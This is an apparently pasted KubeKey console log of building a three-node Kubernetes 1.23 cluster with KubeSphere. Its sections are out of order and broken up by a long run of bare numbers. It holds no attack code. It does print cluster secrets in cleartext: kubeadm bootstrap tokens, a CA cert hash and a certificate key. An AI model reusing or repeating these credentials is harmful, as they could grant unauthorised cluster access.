13:21:49 UTC success: [master]
13:21:49 UTC [InstallKubeBinariesModule] Enable kubelet service
13:21:52 UTC success: [node2]
13:21:52 UTC success: [node1]
13:21:52 UTC success: [master]
13:21:52 UTC [InstallKubeBinariesModule] Generate kubelet env
13:21:52 UTC success: [node1]
13:21:52 UTC success: [master]
13:21:52 UTC success: [node2]
13:21:52 UTC [InitKubernetesModule] Generate kubeadm config
13:21:53 UTC success: [master]
13:21:53 UTC [InitKubernetesModule] Init cluster using kubeadm
13:22:30 UTC stdout: [master]
W0407 13:21:53.232803    5651 utils.go:69] The recommended value for "clusterDNS" in "KubeletConfiguration" is: [10.233.0.10]; the provided value is: [169.254.25.10]
[init] Using Kubernetes version: v1.23.10
[preflight] Running pre-flight checks
[preflight] Pulling images required for setting up a Kubernetes cluster
[preflight] This might take a minute or two, depending on the speed of your internet connection
[preflight] You can also perform this action in beforehand using 'kubeadm config images pull'
[certs] Using certificateDir folder "/etc/kubernetes/pki"
[certs] Generating "ca" certificate and key
[certs] Generating "apiserver" certificate and key
[certs] apiserver serving cert is signed for DNS names [kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local kubesphere.k8s.local localhost master master.cluster.local node1 node1.cluster.local node2 node2.cluster.local] and IPs [10.233.0.1 192.168.2.206 127.0.0.1 192.168.2.177 192.168.2.203]
[certs] Generating "apiserver-kubelet-client" certificate and key
[certs] Generating "front-proxy-ca" certificate and key
[certs] Generating "front-proxy-client" certificate and key
[certs] External etcd mode: Skipping etcd/ca certificate authority generation
[certs] External etcd mode: Skipping etcd/server certificate generation
[certs] External etcd mode: Skipping etcd/peer certificate generation
[certs] External etcd mode: Skipping etcd/healthcheck-client certificate generation
[certs] External etcd mode: Skipping apiserver-etcd-client certificate generation
[certs] Generating "sa" key and public key
[kubeconfig] Using kubeconfig folder "/etc/kubernetes"
[kubeconfig] Writing "admin.conf" kubeconfig file
[kubeconfig] Writing "kubelet.conf" kubeconfig file
[kubeconfig] Writing "controller-manager.conf" kubeconfig file
[kubeconfig] Writing "scheduler.conf" kubeconfig file
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Starting the kubelet
[control-plane] Using manifest folder "/etc/kubernetes/manifests"
[control-plane] Creating static Pod manifest for "kube-apiserver"
[control-plane] Creating static Pod manifest for "kube-controller-manager"
[control-plane] Creating static Pod manifest for "kube-scheduler"
[wait-control-plane] Waiting for the kubelet to boot up the control plane as static Pods from directory "/etc/kubernetes/manifests". This can take up to 4m0s
[apiclient] All control plane components are healthy after 23.505779 seconds
[upload-config] Storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace
[kubelet] Creating a ConfigMap "kubelet-config-1.23" in namespace kube-system with the configuration for the kubelets in the cluster
NOTE: The "kubelet-config-1.23" naming of the kubelet ConfigMap is deprecated. Once the UnversionedKubeletConfigMap feature gate graduates to Beta the default name will become just "kubelet-config". Kubeadm upgrade will handle this transition transparently.
[upload-certs] Skipping phase. Please see --upload-certs
[mark-control-plane] Marking the node master as control-plane by adding the labels: [node-role.kubernetes.io/master(deprecated) node-role.kubernetes.io/control-plane node.kubernetes.io/exclude-from-external-load-balancers]
[mark-control-plane] Marking the node master as control-plane by adding the taints [node-role.kubernetes.io/master:NoSchedule]
[bootstrap-token] Using token: 71j95c.vwt766fyex29car8
[bootstrap-token] Configuring bootstrap tokens, cluster-info ConfigMap, RBAC Roles
[bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to get nodes
[bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials
[bootstrap-token] configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token
[bootstrap-token] configured RBAC rules to allow certificate rotation for all node client certificates in the cluster
[bootstrap-token] Creating the "cluster-info" ConfigMap in the "kube-public" namespace
[kubelet-finalize] Updating "/etc/kubernetes/kubelet.conf" to point to a rotatable kubelet client certificate and key
[addons] Applied essential addon: CoreDNS
[addons] Applied essential addon: kube-proxy

Your Kubernetes control-plane has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

Alternatively, if you are the root user, you can run:

  export KUBECONFIG=/etc/kubernetes/admin.conf

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  https://kubernetes.io/docs/concepts/cluster-administration/addons/

You can now join any number of control-plane nodes by copying certificate authorities
and service account keys on each node and then running the following as root:

  kubeadm join kubesphere.k8s.local:6443 --token 71j95c.vwt766fyex29car8 \
        --discovery-token-ca-cert-hash sha256:57fac9b5408266f709d667f092e5fb7e140e56480e9d2d10796007af241202a8 \
        --control-plane

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join kubesphere.k8s.local:6443 --token 71j95c.vwt766fyex29car8 \
        --discovery-token-ca-cert-hash sha256:57fac9b5408266f709d667f092e5fb7e140e56480e9d2d10796007af241202a8
13:22:30 UTC success: [master]
13:22:30 UTC [InitKubernetesModule] Copy admin.conf to ~/.kube/config
13:22:30 UTC success: [master]
13:22:30 UTC [InitKubernetesModule] Remove master taint
13:22:30 UTC skipped: [master]
13:22:30 UTC [InitKubernetesModule] Add worker label
13:22:30 UTC skipped: [master]
13:22:30 UTC [ClusterDNSModule] Generate coredns service
13:22:31 UTC success: [master]
13:22:31 UTC [ClusterDNSModule] Override coredns service
13:22:32 UTC stdout: [master]
service "kube-dns" deleted
13:22:35 UTC stdout: [master]
service/coredns created
Warning: resource clusterroles/system:coredns is missing the kubectl.kubernetes.io/last-applied-configuration annotation which is required by kubectl apply. kubectl apply should only be used on resources created declaratively by either kubectl create --save-config or kubectl apply. The missing annotation will be patched automatically.
clusterrole.rbac.authorization.k8s.io/system:coredns configured
13:22:35 UTC success: [master]
13:22:35 UTC [ClusterDNSModule] Generate nodelocaldns
13:22:35 UTC success: [master]
13:22:35 UTC [ClusterDNSModule] Deploy nodelocaldns
13:22:35 UTC stdout: [master]
serviceaccount/nodelocaldns created
daemonset.apps/nodelocaldns created
13:22:35 UTC success: [master]
13:22:35 UTC [ClusterDNSModule] Generate nodelocaldns configmap
13:22:36 UTC success: [master]
13:22:36 UTC [ClusterDNSModule] Apply nodelocaldns configmap
13:22:37 UTC stdout: [master]
configmap/nodelocaldns created
13:22:37 UTC success: [master]
13:22:37 UTC [KubernetesStatusModule] Get kubernetes cluster status
13:22:37 UTC stdout: [master]
v1.23.10
13:22:37 UTC stdout: [master]
master   v1.23.10   [map[address:192.168.2.206 type:InternalIP] map[address:master type:Hostname]]
13:22:44 UTC stdout: [master]
I0407 13:22:41.146907    6828 version.go:255] remote version is much newer: v1.26.3; falling back to: stable-1.23
[upload-certs] Storing the certificates in Secret "kubeadm-certs" in the "kube-system" Namespace
[upload-certs] Using certificate key:
2f289571fc7a08495750bd040c609d138754bdb3b691e110dfc62d9e9a983a33
13:22:44 UTC stdout: [master]
secret/kubeadm-certs patched
13:22:45 UTC stdout: [master]
secret/kubeadm-certs patched
13:22:45 UTC stdout: [master]
secret/kubeadm-certs patched
13:22:45 UTC stdout: [master]
vbbjzr.kxrrp9i7ttjop1q5
13:22:45 UTC success: [master]
13:22:45 UTC [JoinNodesModule] Generate kubeadm config
13:22:46 UTC skipped: [master]
13:22:46 UTC success: [node1]
13:22:46 UTC success: [node2]
13:22:46 UTC [JoinNodesModule] Join control-plane node
13:22:46 UTC skipped: [master]
13:22:46 UTC [JoinNodesModule] Join worker node
13:22:54 UTC stdout: [node2]
[preflight] Running pre-flight checks
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'
W0407 13:22:47.815262    4922 utils.go:69] The recommended value for "clusterDNS" in "KubeletConfiguration" is: [10.233.0.10]; the provided value is: [169.254.25.10]
W0407 13:22:47.827002    4922 utils.go:69] The recommended value for "resolvConf" in "KubeletConfiguration" is: /run/systemd/resolve/resolv.conf; the provided value is: /run/systemd/resolve/resolv.conf
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Starting the kubelet
[kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the control-plane to see this node join the cluster.
13:22:54 UTC stdout: [node1]
[preflight] Running pre-flight checks
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'
W0407 13:22:47.919379    4966 utils.go:69] The recommended value for "clusterDNS" in "KubeletConfiguration" is: [10.233.0.10]; the provided value is: [169.254.25.10]
W0407 13:22:47.929063    4966 utils.go:69] The recommended value for "resolvConf" in "KubeletConfiguration" is: /run/systemd/resolve/resolv.conf; the provided value is: /run/systemd/resolve/resolv.conf
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Starting the kubelet
[kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the control-plane to see this node join the cluster.
13:22:54 UTC success: [node2]
13:22:54 UTC success: [node1]
13:22:54 UTC [JoinNodesModule] Copy admin.conf to ~/.kube/config
13:22:54 UTC skipped: [master]
13:22:54 UTC [JoinNodesModule] Remove master taint
13:22:54 UTC skipped: [master]
13:22:54 UTC [JoinNodesModule] Add worker label to master
13:22:54 UTC skipped: [master]
13:22:54 UTC [JoinNodesModule] Synchronize kube config to worker
13:22:55 UTC success: [node1]
13:22:55 UTC success: [node2]
13:22:55 UTC [JoinNodesModule] Add worker label to worker
13:22:55 UTC stdout: [node2]
node/node2 labeled
13:22:55 UTC stdout: [node1]
node/node1 labeled
13:22:55 UTC success: [node2]
13:22:55 UTC success: [node1]
13:22:55 UTC [DeployNetworkPluginModule] Generate calico
13:22:56 UTC success: [master]
13:22:56 UTC [DeployNetworkPluginModule] Deploy calico
13:22:58 UTC stdout: [master]
configmap/calico-config created
customresourcedefinition.apiextensions.k8s.io/bgpconfigurations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/bgppeers.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/blockaffinities.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/caliconodestatuses.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/clusterinformations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/felixconfigurations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/globalnetworkpolicies.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/globalnetworksets.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/hostendpoints.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipamblocks.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipamconfigs.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipamhandles.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ippools.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/ipreservations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/kubecontrollersconfigurations.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/networkpolicies.crd.projectcalico.org created
customresourcedefinition.apiextensions.k8s.io/networksets.crd.projectcalico.org created
clusterrole.rbac.authorization.k8s.io/calico-kube-controllers created
clusterrolebinding.rbac.authorization.k8s.io/calico-kube-controllers created
clusterrole.rbac.authorization.k8s.io/calico-node created
clusterrolebinding.rbac.authorization.k8s.io/calico-node created
daemonset.apps/calico-node created
serviceaccount/calico-node created
deployment.apps/calico-kube-controllers created
serviceaccount/calico-kube-controllers created
poddisruptionbudget.policy/calico-kube-controllers created
13:22:58 UTC success: [master]
13:22:58 UTC [ConfigureKubernetesModule] Configure kubernetes
13:22:58 UTC success: [node2]
13:22:58 UTC success: [master]
13:22:58 UTC success: [node1]
13:22:58 UTC [ChownModule] Chown user $HOME/.kube dir
13:22:59 UTC success: [node1]
13:22:59 UTC success: [node2]
13:22:59 UTC success: [master]
13:22:59 UTC [AutoRenewCertsModule] Generate k8s certs renew script
13:23:00 UTC success: [master]
13:23:00 UTC [AutoRenewCertsModule] Generate k8s certs renew service
13:23:01 UTC success: [master]
13:23:01 UTC [AutoRenewCertsModule] Generate k8s certs renew timer
13:23:02 UTC success: [master]
13:23:02 UTC [AutoRenewCertsModule] Enable k8s certs renew service
13:23:03 UTC success: [master]
13:23:03 UTC [SaveKubeConfigModule] Save kube config as a configmap
13:23:05 UTC success: [LocalHost]
13:23:05 UTC [AddonsModule] Install addons
13:23:05 UTC success: [LocalHost]
13:23:05 UTC [DeployStorageClassModule] Generate OpenEBS manifest
13:23:05 UTC success: [master]
13:23:05 UTC [DeployStorageClassModule] Deploy OpenEBS as cluster default StorageClass
13:23:19 UTC success: [master]
13:23:19 UTC [DeployKubeSphereModule] Generate KubeSphere ks-installer crd manifests
13:23:20 UTC success: [master]
13:23:20 UTC [DeployKubeSphereModule] Apply ks-installer
13:23:28 UTC stdout: [master]
namespace/kubesphere-system created
serviceaccount/ks-installer created
customresourcedefinition.apiextensions.k8s.io/clusterconfigurations.installer.kubesphere.io created
clusterrole.rbac.authorization.k8s.io/ks-installer created
clusterrolebinding.rbac.authorization.k8s.io/ks-installer created
deployment.apps/ks-installer created
13:23:28 UTC success: [master]
13:23:28 UTC [DeployKubeSphereModule] Add config to ks-installer manifests
13:23:28 UTC success: [master]
13:23:28 UTC [DeployKubeSphereModule] Create the kubesphere namespace
13:23:30 UTC success: [master]
13:23:30 UTC [DeployKubeSphereModule] Setup ks-installer config
13:23:31 UTC stdout: [master]
secret/kube-etcd-client-certs created
13:23:31 UTC success: [master]
13:23:31 UTC [DeployKubeSphereModule] Apply ks-installer
13:23:34 UTC stdout: [master]
namespace/kubesphere-system unchanged
serviceaccount/ks-installer unchanged
customresourcedefinition.apiextensions.k8s.io/clusterconfigurations.installer.kubesphere.io unchanged
clusterrole.rbac.authorization.k8s.io/ks-installer unchanged
clusterrolebinding.rbac.authorization.k8s.io/ks-installer unchanged
deployment.apps/ks-installer unchanged
clusterconfiguration.installer.kubesphere.io/ks-installer created
13:23:34 UTC success: [master]
Please wait for the installation to complete:    >>--->

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

k8s1@k8s1:~$ ./kk create cluster -f config-sample.yaml

_ __ _ _ __

| | / / | | | | / /

| |/ / _ _| |__ ___| |/ / ___ _ _

| \| | | | '_ \ / _ \ \ / _ \ | | |

| |\ \ |_| | |_) | __/ |\ \ __/ |_| |

\_| \_/\__,_|_.__/ \___\_| \_/\___|\__, |

__/ |

|___/

13:11:55 UTC [GreetingsModule] Greetings

13:11:57 UTC message: [master]

Greetings, KubeKey!

13:11:58 UTC message: [node2]

Greetings, KubeKey!

13:11:59 UTC message: [node1]

Greetings, KubeKey!

13:11:59 UTC success: [master]

13:11:59 UTC success: [node2]

13:11:59 UTC success: [node1]

13:11:59 UTC [NodePreCheckModule] A pre-check on nodes

13:12:00 UTC success: [node2]

13:12:00 UTC success: [node1]

13:12:00 UTC success: [master]

13:12:00 UTC [ConfirmModule] Display confirmation form

+--------+------+------+---------+----------+-------+-------+---------+-----------+--------+--------+------------+------------+-------------+------------------+--------------+

+--------+------+------+---------+----------+-------+-------+---------+-----------+--------+--------+------------+------------+-------------+------------------+--------------+

| master | y | y | y | y | y | y | | y | | | | | | | UTC 13:12:00 |

| node1 | y | y | y | y | y | y | | y | | | | | | | UTC 13:12:00 |

| node2 | y | y | y | y | y | y | | y | | | | | | | UTC 13:12:00 |

+--------+------+------+---------+----------+-------+-------+---------+-----------+--------+--------+------------+------------+-------------+------------------+--------------+

This is a simple check of your environment.

Before installation, ensure that your machines meet all requirements specified at

https://github.com/kubesphere/kubekey#requirements-and-recommendations

Continue this installation? [yes/no]: yes

13:12:35 UTC success: [LocalHost]

13:12:35 UTC [NodeBinariesModule] Download installation binaries

13:12:35 UTC message: [localhost]

downloading amd64 kubeadm v1.23.10 ...